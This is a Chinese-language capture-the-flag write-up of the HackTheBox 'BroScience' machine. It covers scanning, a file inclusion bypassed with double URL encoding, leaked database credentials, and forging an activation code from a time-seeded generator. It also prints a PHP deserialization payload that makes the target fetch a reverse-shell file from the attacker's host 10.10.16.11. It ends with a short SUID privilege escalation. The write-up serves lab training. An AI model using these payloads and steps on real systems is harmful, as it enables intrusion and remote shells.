HackTheBox BroScience
端口扫描
nmap -sC -sV 10.10.11.195 -o bro
echo "10.10.11.195 broscience.htb" >> /etc/hosts
发现一个登陆页面,但是没有密码;先注册一个用户
当我创建好用户,准备登陆的时候,提示我账号尚未激活。
目录扫描
dirsearch -u https://broscience.htb/ -w /usr/share/wordlists/dirb/big.txt -e php
在includes目录下发现db_connect.php,但是到后面发现没用上。
文件包含
图片的路径是可以包含的,尝试读取一下其他文件,但是报错了
使用双重url编码,成功绕过,读取到了数据库的账号和密码,但是好像暂时用不到啊
db_user = "dbuser";
db_pass = "RangeOfMotion%777";
接下来读取一下登陆页面的源代码。
<?php
session_start();
// 检验用户是否已经登陆
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// 检查代码格式是否正确
if (isset($_POST['username']) && isset($_POST['password'])) {
// 检查数据库中的代码
if (!empty($_POST['username']) && !empty($_POST['password'])) {
include_once 'includes/db_connect.php';
// 激活账户
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
if (pg_num_rows($res) == 1) {
// Check if account is activated
$row = pg_fetch_row($res);
if ((bool)$row[2]) {
// User is logged in
$_SESSION['id'] = $row[0];
$_SESSION['username'] = $row[1];
$_SESSION['is_admin'] = $row[3];
// Redirect to home page
header('Location: /index.php');
} else {
$alert = "Account is not activated yet";
}
} else {
$alert = "Username or password is incorrect.";
}
} else {
$alert = "Please fill in both username and password.";
}
}
?>
<html>
<head>
<title>BroScience : Log In</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="login.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Log In</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Log in</button>
</div>
<div class="uk-margin">
<a href="register.php">Create an account</a>
</div>
</fieldset>
</form>
</div>
</body>
</html>
register.php,分析代码,发现generate_activation_code()函数就是用来生成激活码的
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted register form
if (isset($_POST['username']) && isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['email']) && !empty($_POST['password']) && !empty($_POST['password-confirm'])) {
// Check if passwords match
if (strcmp($_POST['password'], $_POST['password-confirm']) == 0) {
// Check if email is too long
if (strlen($_POST['email']) <= 100) {
// Check if email is valid
if (filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
// Check if username is valid
if (strlen($_POST['username']) <= 100) {
// Check if user exists already
include_once 'includes/db_connect.php';
$res = pg_prepare($db_conn, "check_username_query", 'SELECT id FROM users WHERE username = $1');
$res = pg_execute($db_conn, "check_username_query", array($_POST['username']));
if (pg_num_rows($res) == 0) {
// Check if email is registered already
$res = pg_prepare($db_conn, "check_email_query", 'SELECT id FROM users WHERE email = $1');
$res = pg_execute($db_conn, "check_email_query", array($_POST['email']));
if (pg_num_rows($res) == 0) {
// Create the account
include_once 'includes/utils.php';
$activation_code = generate_activation_code();
$res = pg_prepare($db_conn, "check_code_unique_query", 'SELECT id FROM users WHERE activation_code = $1');
$res = pg_execute($db_conn, "check_code_unique_query", array($activation_code));
if (pg_num_rows($res) == 0) {
$res = pg_prepare($db_conn, "create_user_query", 'INSERT INTO users (username, password, email, activation_code) VALUES ($1, $2, $3, $4)');
$res = pg_execute($db_conn, "create_user_query", array($_POST['username'], md5($db_salt . $_POST['password']), $_POST['email'], $activation_code));
// TODO: Send the activation link to email
$activation_link = "https://broscience.htb/activate.php?code={$activation_code}";
$alert = "Account created. Please check your email for the activation link.";
$alert_type = "success";
} else {
$alert = "Failed to generate a valid activation code, please try again.";
}
} else {
$alert = "An account with this email already exists.";
}
}
else {
$alert = "Username is already taken.";
}
} else {
$alert = "Maximum username length is 100 characters.";
}
} else {
$alert = "Please enter a valid email address.";
}
} else {
$alert = "Maximum email length is 100 characters.";
}
} else {
$alert = "Passwords do not match.";
}
} else {
$alert = "Please fill all fields in.";
}
}
?>
<html>
<head>
<title>BroScience : Register</title>
<?php include_once 'includes/header.php'; ?>
</head>
<body>
<?php include_once 'includes/navbar.php'; ?>
<div class="uk-container uk-container-xsmall">
<form class="uk-form-stacked" method="POST" action="register.php">
<fieldset class="uk-fieldset">
<legend class="uk-legend">Register</legend>
<?php
// Display any alerts
if (isset($alert)) {
?>
<div uk-alert class="uk-alert-<?php if(isset($alert_type)){echo $alert_type;}else{echo 'danger';} ?>">
<a class="uk-alert-close" uk-close></a>
<?=$alert?>
</div>
<?php
}
?>
<div class="uk-margin">
<input name="username" class="uk-input" placeholder="Username">
</div>
<div class="uk-margin">
<input name="email" class="uk-input" type="email" placeholder="Email">
</div>
<div class="uk-margin">
<input name="password" class="uk-input" type="password" placeholder="Password">
</div>
<div class="uk-margin">
<input name="password-confirm" class="uk-input" type="password" placeholder="Repeat password">
</div>
<div class="uk-margin">
<button class="uk-button uk-button-default" type="submit">Register</button>
</div>
</fieldset>
</form>
</div>
</body>
</html>
上面函数是从utils.php中获取激活码的,读取utils.php的代码
这段代码定义了一个名为generate_activation_code的PHP函数,函数的主要功能是生成一个32个字符长度的由数字和字母组成的激活码,并将其作为字符串返回。
函数的具体实现如下:
-
定义了一个包含所有可能字符的字符串$chars。
-
使用srand和time函数生成一个基于时间的随机数种子。
-
循环32次,每次从$chars中随机选择一个字符,并将其添加到$activation_code中。
-
返回$activation_code作为函数的输出。
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
重新注册用户,获取时间戳
然后修改utils.php代码中的时间戳,重新生成激活码;然后到如下页面进行激活账号,此时账号已经成功激活
文件上传
成功登陆,此时发现cookie多了一个身份认证
这段代码定义了一个Avatar类和一个AvatarInterface类,用于管理头像图片的保存。
Avatar类有一个成员变量$imgPath,表示头像图片的路径。它还有一个构造函数,用于初始化Avatar对象的$imgPath成员变量。
Avatar类还有一个成员函数save,它接受一个临时文件的路径$tmp作为参数,并将其内容写入到$imgPath中指定的文件中。该函数通过调用file_get_contents函数读取临时文件的内容,并通过fwrite函数将其写入到$imgPath中指定的文件中。
AvatarInterface类有两个成员变量$tmp和$imgPath,分别表示临时文件的路径和头像图片的路径。它还实现了一个魔术方法__wakeup,用于在反序列化时自动调用。__wakeup方法会创建一个Avatar对象$a,并通过调用$a的save方法将临时文件$tmp中的内容保存到$imgPath指定的文件中。
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
?>
构造反序列化payload,http://10.10.16.11/info.php 这个info.php文件是kali自带的反弹shell文件
<?php
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$payload = new AvatarInterface();
$payload->tmp = 'http://10.10.16.11/info.php';
$payload->imgPath = '/var/www/html/info.php';
$payload = base64_encode(serialize($payload));
echo $payload;
运行php文件,将生成的user-prefs的值添加到网站,此时网站会将本地的info.php上传到目标机上
此时访问info.php,就会获取到反弹shell
权限提升
find / -perm -u=s -type f 2>/dev/null
bash -p